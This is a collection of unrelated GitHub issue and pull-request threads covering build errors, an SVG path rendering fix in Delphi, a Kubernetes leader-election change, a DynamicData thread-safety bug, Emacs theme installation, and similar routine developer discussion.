You might as well remove links to the Readability service. It shutdown a while ago now.

Sweet, thanks! Now fixed.


try a high version clang for osx

Checklist

[x] Used a fork of the feedstock to propose changes
[x] Bumped the build number (if the version is unchanged)
[ ] Reset the build number to 0 (if the version changed)
[ ] Re-rendered with the latest conda-smithy (Use the phrase @conda-forge-admin, please rerender in a comment in this PR for automated rerendering)
[x] Ensured the license file is being packaged.

clang

Hi! This is the friendly automated conda-forge-linting service.
I just wanted to let you know that I linted all conda-recipes in your PR (recipe) and found it was in an excellent condition.

Why does it use AppleClang? But at least it works well and outputs correctly.


TUNE_ARCH is unset for cyclone5-gsrd

Building langdale for cyclone5-gsrd and getting this message:
ERROR:  OE-core's config sanity checker detected a potential misconfiguration.
    Either fix the cause of this error or at your own risk disable the checker (see sanity.conf).
    Following is the list of potential problems / advisories:

    TUNE_ARCH is unset. Please ensure your MACHINE configuration includes a valid tune configuration file which will set this correctly.
Error, the PACKAGE_ARCHS variable (all any noarch ${PACKAGE_EXTRA_ARCHS:tune-${DEFAULTTUNE}} cyclone5_gsrd) for DEFAULTTUNE (None) does not contain TUNE_PKGARCH ().Toolchain tunings invalid:
No tuning found for default multilib.

had to add  include conf/machine/include/arm/armv7a/tune-cortexa9.inc to the machine file . Not sure if this is correct way to fix this issue

building for cyclone5 work fine, closing issue


Fix release workflow and improve package metadata

Codecov Report
Patch and project coverage have no change.

Comparison is base (4024cc8) 70.68% compared to head (3c277c6) 70.68%.

:exclamation: Your organization is not using the GitHub App Integration. As a result you may experience degraded service beginning May 15th. Please install the Github App Integration for your organization. Read more.
Additional details and impacted files
@@           Coverage Diff           @@
##             main       #2   +/-   ##
=======================================
  Coverage   70.68%   70.68%
=======================================
  Files           1        1
  Lines          58       58
=======================================
  Hits           41       41
  Misses         17       17

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Add all platform binaries to GitHub Releases

Hi,
Can you please consider adding other platforms to the GitHub releases page? I don't like using my platform's app store and try to avoid it whenever possible. Having Windows and macOS binary releases, alongside Linux AppImage and Android APK builds would be much appreciated.
Thanks in advance for your help!

I am a big fan of official stores because of auto updates though.
But sure, I can do that in the next release!

I completely understand that, but having the option to download binary releases would be nice. Besides, providing these releases would allow package managers such as winget (for Windows) and Homebrew Cask (for macOS) to manage updates, all without the requirement of dealing with app stores.

I also agree, because the Windows Store does not work properly in some special office environments. because sometimes the company restricts the use of the extranet

I have added all binaries in the v1.6.1 release. Let me know, if something is missing.


Leader election conflict with csi-resizer bug fix

Issue #, if available:

Closes https://github.com/awslabs/volume-modifier-for-k8s/issues/13
https://github.com/kubernetes-sigs/aws-ebs-csi-driver/issues/1759

Description of changes:
This PR introduces modifications to ensure that the volumemodifier container sidecar initializes the controller service only if it is in the same pod as the csi-resizer leader. This determination is made by monitoring the leases object. If the controller service is running but the pod is not the leader, the controller service will be stopped.
Pod name will be supplied via downward API:
- name: POD_NAME
           valueFrom:
             fieldRef:
               fieldPath: metadata.name

Additionally, the following clusterrole will be necessary:
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: ebs-external-modifier-role
  labels:
    {{- include "aws-ebs-csi-driver.labels" . | nindent 4 }}
rules:
  - apiGroups: [ "coordination.k8s.io" ]
    resources: [ "leases" ]
    verbs: [ "get", "list", "watch", "update", "patch" ]
  {{- with .Values.sidecars.attacher.additionalClusterRoleRules }}
    {{- . | toYaml | nindent 2 }}
  {{- end }}

Testing:
$ kubectl get leases -n kube-system
NAME                                       HOLDER                                                                  AGE
external-resizer-ebs-csi-aws-com           ebs-csi-controller-79cb7bc657-ch4zd                                     20m

$ kubectl logs  ebs-csi-controller-79cb7bc657-ch4zd -n kube-system -c volumemodifier
I1003 14:37:53.657602       1 main.go:74] Version : v0.1.1
I1003 14:37:53.665513       1 common.go:111] Probing CSI driver for readiness
I1003 14:37:53.677936       1 main.go:116] CSI driver name: "ebs.csi.aws.com"
I1003 14:37:54.142566       1 main.go:179] "Starting controller" podName="ebs-csi-controller-79cb7bc657-ch4zd" currentLeader="ebs-csi-controller-79cb7bc657-ch4zd"
I1003 14:37:54.142627       1 controller.go:95] "Starting external modifier" name="ebs.csi.aws.com"

$ kubectl delete leases external-resizer-ebs-csi-aws-com -n kube-system

$ kubectl get leases -n kube-system
 external-resizer-ebs-csi-aws-com           ebs-csi-controller-79cb7bc657-lr6rw                                     1s

$ kubectl logs  ebs-csi-controller-79cb7bc657-lr6rw -n kube-system -c volumemodifier
I1003 14:40:51.085418       1 main.go:74] Version : v0.1.1
I1003 14:40:51.087163       1 common.go:111] Probing CSI driver for readiness
I1003 14:40:51.090251       1 main.go:116] CSI driver name: "ebs.csi.aws.com"
I1003 15:02:30.527414       1 main.go:179] "Starting controller" podName="ebs-csi-controller-79cb7bc657-lr6rw" currentLeader="ebs-csi-controller-79cb7bc657-lr6rw"
I1003 15:02:30.527479       1 controller.go:95] "Starting external modifier" name="ebs.csi.aws.com"

$ kubectl logs ebs-csi-controller-79cb7bc657-ch4zd -n kube-system -c volumemodifier
I1003 15:02:31.443715       1 main.go:74] Version : v0.1.1
I1003 15:02:31.450041       1 common.go:111] Probing CSI driver for readiness
I1003 15:02:31.469327       1 main.go:116] CSI driver name: "ebs.csi.aws.com"

By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

Also, can we put "Closes" in the PR description in front of the issues in the Issue #, if available: section (so this PR will auto-link to them)?

/lgtm

/approve


when moving an group data res item the review item point is not created as a temp feature

This only affects what the user sees and not the back end of DM or API. This only affects the temp feature and the DM data flush shows the new review position.
Simple fix

Resolved


after "yarn start", get error like this:

Describe the bug
import "reflect-metadata";
^^^^^^
SyntaxError: Cannot use import statement outside a module

Can you provide more context? What are you running start on, an example?
On Nov 16, 2020, 10:26 PM -0600, cieldon32<EMAIL_ADDRESS>wrote:

Describe the bug
import "reflect-metadata";
^^^^^^
SyntaxError: Cannot use import statement outside a module
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub, or unsubscribe.


Maximum call stack size

Hey,
I run a pretty complex application and need to dynamically change the subscriptions inside busy. This works quite well sometimes and sometimes not.
Sometimes, I don't understand why, I receive a maximum call stack inside the equals method.
error_handler.js:53 RangeError: Maximum call stack size exceeded
    at equals (util.js:70)
    at equals (util.js:76)
    at equals (util.js:76)
    at equals (util.js:76)
    at equals (util.js:76)
    at equals (util.js:76)
    at equals (util.js:76)
    at equals (util.js:76)
    at equals (util.js:76)
    at equals (util.js:76)

Any ideas how to deal with it? :(

At some time subscriptions containing a reference to itself which can break the equals method.
This isn't happening with promises.

Using promises makes the whole a lot more stable, I would suggest to everyone.
Btw. is there a special reason why you copied the angular equals method to the lib?

I have the same problem!

@paria-tk use promises to get rid of it until theres a solution for observers, worked quite well for me! :)

@devyumao @cookiekiller I am using observables and I get Maximum call stack size exceeded error as I am calling another service call inside this.busy . Did anyone found workaround for this issue. I cannot changes to promises now as it will be a lot of code changes.

The same problem. Can not use Subscription as 'busy'.

I have the same problem. Is there going to be a fix for this?

I used FlatMap and forkjoin where ever it's needed and got rid of this issue in most of the cases.

@vijender1256 Can you provide small example? Thanks

Any new on this issue now, maybe a workaround ?


Support for folder name in module

I'm trying to add a folder to the module
keyboard = require "components/keyboardModule"

And I get the following error output
Error: Module components/keyboardModule can't be found

I also tried using .coffee extension, but no luck there either.

Although this is more of an issue about the Mac app, there's a fix for this in the works. Expect it in a beta soon!
Closing this issue for now, please feel free to comment or open a new issue if you have anything to add.


Icon rendered incorrectly

Hi Folks,
the following icon is rendered incorrectly using the Delphi SVG Engine:
icon-Cut.zip
Result (ignore the colors):

Same problem for me.
I developped my app with v2.1 and every icons rendered correctly.  With version 2.2, there is extra lines.  I had to switch to D2D.  Cairo does a great job, but too many dlls to ship with the application.

Very interesting. This icon is rendered correctly in the benchmark no matter which engine is selected, but the SvgExplorer displays it wrong.

Hi,
In my case, icons does not render correctly using components in my app.  I changed the source to go with Direct2D.
I attached 2 icons that renders incorrectly with GDI+.
large.zip

I found out that the icon is rendered correctly when I use an older version. In my case I had run svgcleaner on my icon set which has brought it into the state above. Since the other engines render it correctly, it surely is a bug in the Pascal SVG Engine, but fo now I have reverted to the older version.

I attached 2 icons that renders incorrectly with GDI+.

I don't see any obvious problem with the "help" icon, but "back" looks wrong using the Pascal SVG Engine

Sorry,
I should send you the cloud icon.  Effectively. Help is ok.
Erik
De : Lübbe Onken<EMAIL_ADDRESS>Envoyé : 9 novembre 2020 09:55
À : EtheaDev/SVGIconImageList<EMAIL_ADDRESS>Cc : Rik69<EMAIL_ADDRESS>Comment<EMAIL_ADDRESS>Objet : Re: [EtheaDev/SVGIconImageList] Icon rendered incorrectly (#138)
I found out that the icon is rendered correctly when I use an older version.
In my case I had run svgcleaner
https://github.com/RazrFalcon/svgcleaner/issues  on my icon set which has
brought it into the state above. Since the other engines render it
correctly, it surely is a bug in the Pascal SVG Engine, but fo now I have
reverted to the older version.

You are receiving this because you commented.
Reply to this email directly, view it on GitHub
<https://github.com/EtheaDev/SVGIconImageList/issues/138#issuecomment-724063
875> , or unsubscribe
<https://github.com/notifications/unsubscribe-auth/AAA6WQOF5TEXPWPCWVVYNITSO
77FXANCNFSM4THFGTAA> .
<https://github.com/notifications/beacon/AAA6WQOFSMP4UC53HFI6VHDSO77FXA5CNFS
M4THFGTAKYY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOFMUFNAY
.gif>

I've reverted last changes made by @pyscripter on SVG.pas and SVGPath.pas that cause this problem.
I've not time now to check where is the problem.

Reverted version  still have the problem.

Looking at the drawing results could it be a sign error?

Not sure, but problems occur mostly with triangles.
De : Lübbe Onken<EMAIL_ADDRESS>Envoyé : 11 novembre 2020 13:38
À : EtheaDev/SVGIconImageList<EMAIL_ADDRESS>Cc : Rik69<EMAIL_ADDRESS>Comment<EMAIL_ADDRESS>Objet : Re: [EtheaDev/SVGIconImageList] Icon rendered incorrectly (#138)
Looking at the drawing results could it be a sign error?

You are receiving this because you commented.
Reply to this email directly, view it on GitHub
<https://github.com/EtheaDev/SVGIconImageList/issues/138#issuecomment-725591
667> , or unsubscribe
<https://github.com/notifications/unsubscribe-auth/AAA6WQNKRNFYXOHWZ2PVJC3SP
LKZFANCNFSM4THFGTAA> .
<https://github.com/notifications/beacon/AAA6WQK6YRU6Y3JYG6JF4PTSPLKZFA5CNFS
M4THFGTAKYY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOFM72M4Y
.gif>

@carloBarazzetta Too quick to reverse changes.  The issue with the Icon-cut.svg existed in the origninal version.  Please reinstate the previous version.
Fix for icon-cut.  In procedure TSVGPathCurve.Read of SvgPath.pas replace the handling of commands S and s with
  else if (Command = 'S') or (Command = 's') then
  begin
    FControl2X := ValueList[Position];
    FControl2Y := ValueList[Position + 1];
    FStopX := ValueList[Position + 2];
    FStopY := ValueList[Position + 3];
    Inc(Position, 4);

    if Previous is TSVGPathCurve then
    begin
      FControl1X := FStartX + (FStartX - TSVGPathCurve(Previous).FControl2X);
      FControl1Y := FStartY + (FStartY - TSVGPathCurve(Previous).FControl2Y);
    end
    else
    begin
      FControl1X := FStartX;
      FControl1Y := FStartY;
    end;

    if Command = 's' then
    begin
      FControl2X := FStartX + FControl2X;
      FControl2Y := FStartY + FControl2Y;
      FStopX := FStartX + FStopX;
      FStopY := FStartY + FStopY;
    end;
  end

And a fix for the history-circle-back-blue.svg
Replace TSVGPathMove.AddToPath with
procedure TSVGPathMove.AddToPath(Path: TGPGraphicsPath);
begin
  //Path.CloseFigure; <- remove
  Path.StartFigure;
end;

Now this is a bit puzzling.
I have added the CloseFigure to fix something else and I do not recall what.    So this needs a bit of testing to check it does not break other Svgs.  The move command is very common and I am surprised this issue has not appeared in other svgs.

Update on last fix.  CloseFigure is needed when fill <> "none"
Please change  TSVGPathMove.AddToPath to
procedure TSVGPathMove.AddToPath(Path: TGPGraphicsPath);
begin
  if Assigned(Parent) and (Parent is TSvgPath) and
    (TSvgPath(Parent).FillColor <> SVG_NONE_COLOR)
  then
    Path.CloseFigure;
  Path.StartFigure;
end;

which I think works well on all cases.

Thanks @pyscripter, in those weeks I have some problems working ...
https://github.com/EtheaDev/SVGIconImageList/issues/142
Can you make a pull request with these changes?
Thanks!

I was wondering if we could create a set of unit tests that draw svgs using the different engines and compare the resulting bitmaps afterwards. Would that work? Can we assume that two svg engines produce an identical bitmap?
This could help to discover if changes to one engine break things.

@luebbe Good idea.  But how do you unit test how an svg should look?
There is a set of svgs used for checking confomance: https://github.com/w3c/svgwg/tree/master/master

@luebbe I don't have an active fork and overly busy right now.  Would you be able to reverse the reversing commit and make the above changes?  Do they resolve the issue you had?

@pyscripter I'll give it a go.

@pyscripter Nice work! "icon-cut" is rendered correctly as well as @Rik69 's "back" icon.
PR created


[BUG]Install failed

release: emacs 26.x
os: mac os
issue:
when use 'M-x package-install doom-themes', then 'M-x doom-themes' , no such option.
And use '(require 'doom-themes)' in '~/.emacs', it also failed.
Any problem with my operation or your guide?

M-x doom-themes does not exist. You first need to (require 'doom-themes) and then load the theme M-x load-theme.
If (require 'doom-themes) is not working, then I require more information. How does it fail? Is there an error message? Does it fail to load, or are you expecting it to load the theme with that alone?

I test it in emacs release 25.3 now.
Operation:  1. M-x package-install doom-themes
2. write (require 'doom-themes) into .emacs file
3. restart emacs
error info :
Warning (initialization): An error occurred while loading ‘/Users/syu/.emacs’:
File error: Cannot open load file, No such file or directory, doom-themes
debug info:
eval-buffer(#<buffer  load> nil "/Users/syu/.emacs" nil t)  ; Reading at buffer position 714
load-with-code-conversion("/Users/syu/.emacs" "/Users/syu/.emacs" t t)
load("~/.emacs" t t)
#0 "\205\266�	\306=\203�\307\310Q\202?�	\311=\204�\307\312Q\202?�\313\307\314\315#\203*�\316\202?�\313\307\314\317#\203>�\320\321\322!D\nB\323\202?�\316\324\325\324\211#\210\324=\203e�\326\327\330\307\331Q!"\325\324\211#\210\324=\203d�\210\203\247�\332!\333\232\203\247�\334!\211\335P\336!\203\201�\211\202\214�\336!\203\213�\202\214�\314\262\203\245�\337"\203\243�\340\341#\210\342\343!\210\266\f?\205\264�\314\325\344\324\211#)\262\207" [init-file-user system-type delayed-warnings-list user-init-file inhibit-default-init inhibit-startup-screen ms-dos "~" "/_emacs" windows-nt "/.emacs" directory-files nil "^\.emacs\(\.elc?\)?$" "~/.emacs" "^_emacs\(\.elc?\)?$" initialization format-message "_emacs' init file is deprecated, please use .emacs'" "~/_emacs" t load expand-file-name "init" file-name-as-directory "/.emacs.d" file-name-extension "elc" file-name-sans-extension ".el" file-exists-p file-newer-than-file-p message "Warning: %s is newer than %s" sit-for 1 "default"] 7
command-line()
normal-top-level()

You need either of these before you do (require 'doom-themes):
(package-initialize)

or
(add-to-list 'load-path "path/to/doom-themes")

OK ,  I have got it.
Thanks for your answer


No big icons on Windows

It minor but no big icons Sabaki.exe

I have no idea what causes this... Inspecting the executable file with Resource Hacker yields that everything's fine. And if I copy the executable file to another location, Windows Explorer shows the icon correctly. Clearing icon cache doesn't seem to help...

Yes, only C:\Program Files\Sabaki and x64 version not show... Very strange.


Max Asset Retries

This PR changes the following:

Change pc.ResourceLoader#enableRetry to take the maximum number of retries as an argument.
Change the retryRequests flags in the resource handlers with a maxRetries number.
Added maxAssetRetries project setting.

Does this PR enables auto retry by default? Would be good.

It doesn't but the Editor will now expose a max retries setting. We should probably default that to 5 or so...


feat(storage): support compression setting per level

Signed-off-by: Shmiwy<EMAIL_ADDRESS>What's changed and what's your intention?
I modified the StorageConfig structure, adding a new member called enable_compressiion to indicate whether compression is allowed when creating SSTTable.
Then during compacting, if enable_compression == true, I get the target level from compact_task and determine the compression algorithm to apply based on the level num.
Checklist

[x] I have written necessary docs and comments
[x] I have added necessary unit tests and integration tests
[x] All checks passed in ./risedev check (or alias, ./risedev c)

Refer to a related PR or issue link (optional)
close#2800

@Little-Wallace this PR might affect performance, if we are running bench across this PR, you may need to set enable_compression to false.


Add finetuning-scheduler to Foundation Model Fine Tuning section

Thanks again for maintaining this useful summary of the LLMOps package landscape!
This PR humbly suggests the addition of the finetuning-scheduler package.

finetuning-scheduler is a PyTorch Lightning extension that accelerates and enhances foundation model experimentation with flexible fine-tuning schedules.
The popular PyTorch Lightning package uses this extension for its Fine Tuning tutorial. It's primary utility is facilitating foundation model research and exploration with advanced fine-tuning configurations. Full disclosure, I'm the primary maintainer of finetuning-scheduler and a frequent contributor to both PyTorch and PyTorch Lightning.
I appreciated you considering this PR. Thanks again for this useful catalog!

LGTM :+1:
/lgtm

Thanks for your contribution! :tada: :+1:


Does gleam have 32 bit system support?

When I try to run the example pi_estimation on my RPi 4, I got the following error:
~/C/g/e/pi_estimation ❯❯❯ go run pi_estimation.go
# github.com/chrislusf/gleam/util
/home/pi/go/pkg/mod/github.com/chrislusf/gleam@v0.0.0-20191006071833-08a93fce97b2/util/key.go:14:11: constant<PHONE_NUMBER>854775807 overflows int

And here is the key.go snippet.
https://github.com/chrislusf/gleam/blob/08a93fce97b2f38d0bc58f8e4fe76b7d2553ffa9/util/key.go#L9-L15
I am pretty new to gleam, so I am not sure if this HashByKey has a presumption of running on 64 bit system. Does gleam have 32 bit system support?

try to change line 14 to just return x


Add Google Analytics Tracking / Page Views

What does this PR do?
Adds Google Analytics tracking and page views
Where should the reviewer start?
src/index.js is where the tracker is initialized, but also checkout the utils that I added.  I wasn't sure of the best place to put these, so I made a utils folder within the src directory.  If you can think of a better place, please let me know and I'd be happy to change it.
What testing has been done on this PR?
I tested it manually by running the docs site and verifying that Google Analytics was capturing page views.
How should this be manually tested?
Launch the site locally and open the real-time overview on Google Analytics to see yourself get logged in real time.
Any background context you want to provide?
I was asked by Christina and Tracy to help get Google Analytics up and running for Grommet docs.
What are the relevant issues?
N/A
Screenshots (if appropriate)
N/A

@ericsoderberghp and I have been discussing putting the analytics utilities into Grommet so it might be a good idea to hold off on merging this until we decide on one way or the other.

I understand this may not be our final solution to analytics but it would seem like we're missing out on page view metrics daily without adding some form of SPA analytics. I see there are analytics in a HTML script tag but I would presume this is only tracking the initial page view and not SPA navigation.

Good point @karatechops!

nicely done! Thanks for your contribution!


Make the bot and code more server agnostic

The bot has a lot of functionality that's dependent on channels/roles within the BSE server.
This should change and allow the bot to operate better - regardless of which server it's running in.
Things that rely on specific channels/roles:

wordle stuff
'the boys' role for eddie distribution
needing a 'bseddies-chat' channel for posting KING stuff, update messages, etc
the need for a 'bseddies KING' role

Some of this could be mitigated - having the bot create these roles and channels when it joins and storing the IDs of them in the DB so it's easily accessible to the bot (rather than relying on hardcoded values).
There's no real rush - not particularly interested in making this publicly available but it would be good to follow best practices.

Will need a particular guilds collection; where every document is a server the bot is in. We can then grab the bseddies channel ID from there and the bseddies KING role ID as well. If we don't have a document for a server, or we're missing the channel/role, then we should create it. We should also create a bseddies category for the channel.

DB doc thoughts:
{
    "guild_id": GUILD_ID,
    "category": CATEGORY_ID,
    "channel": CHANNEL_ID,
    "role": ROLE_ID,
    "wordle_channel": WORDLE_CHANNEL,  # could not exist or be None - for guilds that don't want wordle automatically
    "jerk_channel": JERK_OFF_CHANNEL_ID  # mostly for BSE server - not relevant for others
}

Begun implementing this slowly - the Collection now exists and the slash command implemented in #206 relies on that for functionality. Some of this stuff will need populating manually - need to add a slash command to configure it.

Some other stuff that needs changing:

a lot of the slash commands use a if ctx.guild.id not in self.guilds: return type check; so they only work in servers they've been told to work in. BSEBot, won't respond to commands even though it's been invited to the sloman server.

Further changes made to the Guilds collection here: https://github.com/ESloman/bsebot/pull/274

This was resolved as #250 was resolved. The bot is pretty server independent now and there's significantly less hard-coded values. There's still some but they'll continue to be removed in the future.


[BUG] InvalidOperationException from InnerJoin

The implementation of InnerJoin seems not completely thread safe and sometimes gives an InvalidOperationException with the message "Collection was modified; enumeration operation may not execute."
Stack Trace:
at System.ThrowHelper.ThrowInvalidOperationException(ExceptionResource resource)
at System.Collections.Generic.Dictionary`2.Enumerator.MoveNext()
at System.Linq.Enumerable.WhereSelectEnumerableIterator`2.MoveNext()
at System.Collections.Generic.List`1..ctor(IEnumerable`1 collection)
at DynamicData.Cache.Internal.CacheEx.GetInitialUpdates[TObject,TKey](ChangeAwareCache`2 source, Func`2 filter)
at DynamicData.Cache.Internal.LockFreeObservableCache`2.<>c__DisplayClass9_0.b__0()
at System.Reactive.Linq.ObservableImpl.Defer`1..Run()
--- End of stack trace from previous location where exception was thrown ---
at System.Reactive.PlatformServices.ExceptionServicesImpl.Rethrow(Exception exception)
at System.Reactive.Stubs.<>c.<.cctor>b__2_1(Exception ex)
at System.Reactive.AnonymousSafeObserver`1.OnError(Exception error)
at System.Reactive.Sink`1.ForwardOnError(Exception error)
at System.Reactive.Linq.ObservableImpl.Defer`1..Run()
at System.Reactive.Linq.ObservableImpl.Defer`1.Run(_ sink)
at System.Reactive.Producer`2.SubscribeRaw(IObserver`1 observer, Boolean enableSafeguard)
at System.Reactive.Producer`2.Subscribe(IObserver`1 observer)
at System.ObservableExtensions.Subscribe[T](IObservable`1 source, Action`1 onNext)
at DynamicData.Cache.Internal.InnerJoin`5.b__5_0(IObserver`1 observer)
at System.Reactive.Linq.QueryLanguage.CreateWithDisposableObservable`1.SubscribeCore(IObserver`1 observer)
at System.Reactive.ObservableBase`1.ScheduledSubscribe(AutoDetachObserver`1 autoDetachObserver)
InnerJoin creates a LockFreeObservableCache and calls Connect on that.
Connect calls GetInitialUpdates(), which iterates the Dictionary backing the cache, while another thread may be making changes to the collection
The following code demonstrates the problem (but not every time):
class Thing
{
    public long Id { get; set; }
    public string Name { get; set; }
}

void Main()
{
    var ids = ObservableChangeSet.Create<long, long>(sourceCache => Observable.Range(1,1000000, Scheduler.Default).Subscribe(x => sourceCache.AddOrUpdate(x)), x => x);

    var itemsCache = new SourceCache<Thing,long>(x => x.Id);
    itemsCache.AddOrUpdate(new[]
    {
        new Thing {Id = 300, Name = "Quick"},
        new Thing {Id = 600, Name = "Brown"},
        new Thing {Id = 900, Name = "Fox"},
        new Thing {Id = 1200, Name = "Hello"},
    });

    ids.InnerJoin(itemsCache.Connect(), x => x.Id, (_, thing) => thing)
        .Subscribe();
}

Environment

OS:       Windows 10
Device:   PC
Version:   6.14.18

I just saw this pop up in the latest release. The PR descriptions says

If this fix works as expected, the same changes should be applied to all the join operations

Is there an issue I can follow for that additional work or has it perhaps been done already (and no changes have been necessary)?
Thanks for the hard work!

There has been no issue raised for the other join operators yet. However it stands to reason that the same issue exists in all the other join operators.  My rational with applying the fix in one place first it so you can verify the fix. Can you please use the latest package and feed back whether the issue has gone away.
The fix was very simple. If you follow the linked PR, I changed an overload which applies a stricter locking model.

Thanks for the hard work!

Much appreciated

I've been personally getting the InvalidOperationException on InnerJoin very rarely in our app, and was unable to reduce it down to a minimum repro yet.
However, the repro provided by @John-MartinMalone above does fail for me on 6.14.18 nine out of ten times. Updating to 6.14.20 and I'm now unable to reproduce the issue!
(I've been running this repro on both .NET Core SDK 3.1.300, as well as Xamarin.Android SDK <IP_ADDRESS> on device.)


store incoming user_id for newly created referrals

What does this pull request do?
stored the user id of the logged in user who created the draft referral
What is the intent behind these changes?
allow us to show users all their in progress referrals

Should the created_by_userid column on the referral table now be set to not null ?

hmm what happens to existing referral entities which do not have created_by_userid set?

Should the created_by_userid column on the referral table now be set to not null ?

hmm what happens to existing referral entities which do not have created_by_userid set?


Create coverage tracker for OP chains

What is it?
We should track our coverage vs what OP Labs data team has through Goldsky.
Sources of truth:
Source of Truth: https://github.com/ethereum-optimism/op-analytics/blob/main/op_chains_tracking/inputs/chain_metadata_raw.csv

Source
URL

Goldsky:
https://docs.goldsky.com/chains/index

Dune:
https://dune.com/queries/3695907/6218008

Flipside:
https://docs.flipsidecrypto.xyz/data/flipside-data/data-table-documentation

OSO:
https://docs.opensource.observer/docs/integrate/overview/#superchain-data

pinged GoldSky

https://docs.google.com/spreadsheets/d/1fF6BMvX7hgsEEMSOU2_RLumQaMjpH8ucaqfAiO_vspY/edit?usp=sharing


License?

Right now we can't legally use this in our own projects.

Oh, I just assumed people were going to copy paste the content of those functions, it's not actually a big library.. consider it BSD though, I can add a license file if you actually need to use this as a library

Since it's such a small license, you might be willing to put it in the public domain: just put a CC0 license  in the root directory.

(I did copy-paste those functions btw)

I gonna make a match maker using Elo Rating System, and I'd like to use yours as Elo Rater.
If there is a problem, let me know. Thanks!

Added public domain license in #2 (I'm not even sure I would have any rights to license that code btw -- anyone heading to https://en.wikipedia.org/wiki/Elo_rating_system and copying down the formulas would end up with basically the same thing..)


error not catched by .error (or .catch)

In this code:
r
        .table(table)
        .get(id)
        .merge((pag) => {
          return {
            buckets: page('draft')('buckets')
          }
        })
        .run()
        .then((result) => {...})
        .error((err) => {...})

I have a typo in the variable name.  It is declared as pag, and used as page.
This error is not catch'ed by .error (or .catch).  I need to add try{...} catch(e) {...} around the query to catch the error.  I think that it should be catch'ed by .error
I am using version 2.2.17 of rethinkdbdash and node version 5.4.1

I think this is expected. We fail to build the query so we just throw. We will create and reject a promise only if the error is considered operational (like if you return an undefined value.


Remove http from the ingress

I think if we add the annotation
   kubernetes.io/ingress.allow-http: "false"

We could disallow http on the ingress. IAP also forces an automatic http to https redirect but it might be nice to disallow http traffic altogether.

https://cloud.google.com/kubernetes-engine/docs/concepts/ingress-xlb#disabling_http

I checked it and it worked.


fixes darwin image creation (SDK extraction)

Description:
Fixes darwin image creation (SDK is using xz instead of bz2 compression)
Checklist:

[X] Lint and formatter run with no errors.
[x] Tests all pass.

Maybe it should somehow be .tar.* so it supports both formats? (Assuming it changed recently and users may be downloading both?).
It would be a more complicated change but feels more complete.


const array of shader materials produces error

Godot version
4.0 alpha
System information
Windows 10
Issue description
Creating an const array of shader materials produces this error
Line 13:Variant array is not compatible with an array of type "<unresolved type>".
changing the array to a var from const fixes the issue. Also changing the material from a shader material to a baseMaterial3D also fixes the error
Steps to reproduce
Load an array of materials from a .tres file
const_materials = [
	preload("../blocks/terrain_material.tres"),
	preload("../blocks/terrain_material_transparent.tres"),
	preload("../blocks/terrain_material_foliage.tres")
]

If those are shader materials they will give an error
Minimal reproduction project
No response

4.0 alpha

Which alpha are you using? There are 13 of them so far :slightly_smiling_face:


Foo iso is outside constraint Foo iso | Bar val

interface Foo
interface Bar
class Baz
  fun foo[X: (Foo iso | Bar val)]() =>
    None

  fun bar() =>
    foo[Foo iso]()

Error:
main.pony:9:5: type argument is outside its constraint
    foo[Foo iso]()
    ^
    Info:
    main.pony:9:9: argument: Foo iso
        foo[Foo iso]()
            ^
    main.pony:5:11: constraint: Bar val
      fun foo[X: (Foo iso | Bar val)]() =>
              ^
    main.pony:9:9: Foo iso is not in constraint Bar val: iso is not in constraint val
        foo[Foo iso]()

https://is.gd/5upkoo
This error occurs with both iso and trn. It works with other capabilities.
I'm not completely sure whether this should be allowed or not, but I'd be inclined to say yes.

This is happening because union flattening is reducing the constraint to Bar val, which is of course wrong.

This can be solved by: during union flattening, check the current frame and see if we are in a constraint before invoking is_subtype - if we are we should invoke is_subtype_constraint instead.

Careful caveat though - we don't want to use is_subtype_constraint when the union is within the type arguments of a constraint type. For example, in [A: Array[(B | C)], we'd use is_subtype as normal - this is important to add a test case for when fixed.

@plietar says he has a non-flattening removing fix that can address this specifically.

At some point, this was fixed.


Remove direct accesses to SILCloner::ValueMap in TFCanonicalizeCFG.cpp

Partially resolves SR-9085. Removing the dependency on BBMap is a bit involved and will send out a separate PR.

@swift-ci please test tensorflow


Integration

This is for an integration/ideation hack to successfully integrate the Turtle-Water RPG Starter

Key Commits

Key Commit 2
Commit#: 8d10432
Description: In this commit, I changed the sprite from a turtle animation to a red dragon animation using a spritesheet I got off the web.
Github Action Link: https://github.com/anikaagit/Anika_2025/actions/runs/11133402427
Screenshot of commit running:


Fix issue #390

Coverage remained the same at 100.0% when pulling 1f50711c1ffea2d57bb801d6df5da57f27122ed6 on issue_390 into 76851b291bbd3002c6f7ba4f054dcad423cecd9c on 3.x.


Remove all the System.out.println and use proper logging

There's only two System.out.println()s in the whole codebase.

Our support for hibernate.show_sql, which has always used System.out.println(). We don't need to change that.
And the error logger for when a drop fails during schema export. (A completely ignorable error.)

I agree we should change the second one, because I never want to see those errors. Log it at debug level, preferably.

I've added support for SQL statement logging via the traditional log category org.hibernate.SQL.
We can close this now, since there's actually no println() anywhere except for the support for hibernate.show_sql.


refactor: remove changelog

:warning: Please install the  to ensure uploads and comments are reliably processed by Codecov.
Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 96.79%. Comparing base (8a347a5) to head (d8f32d1).

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
Additional details and impacted files
@@            Coverage Diff             @@
##             main     #935      +/-   ##
==========================================
+ Coverage   96.64%   96.79%   +0.15%
==========================================
  Files          39       39
  Lines        3964     3963       -1
==========================================
+ Hits         3831     3836       +5
+ Misses        133      127       -6

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.

@12rambau you installed the sphinx repo as dependency in .readthedocs.yaml file, which uses an unreleased version... I also used that one as the requirements in in the pyproject.toml, do you think it is fine if we just unpin those?
The problem with the build in readthedocs was because we were using the mdinclude directive to include the CHANGELOG.md, but if we are not updating it, I think we can just remove it, but, is there a reason for not update_changelog_on_bump ?


Add root check

Type of Change

[ ] New feature
[x] Bug fix
[ ] Documentation update
[ ] Refactoring
[ ] Hotfix
[x] Security patch
[ ] UI/UX improvement

Description

Thanks @cartercanedy for helping out !!
Add root check and warn users about running as root
Uses sudo crate

Testing

Undergoing. Most of the scripts are tested with root, should be okay !!

Issues / other PRs related

Resolves #816

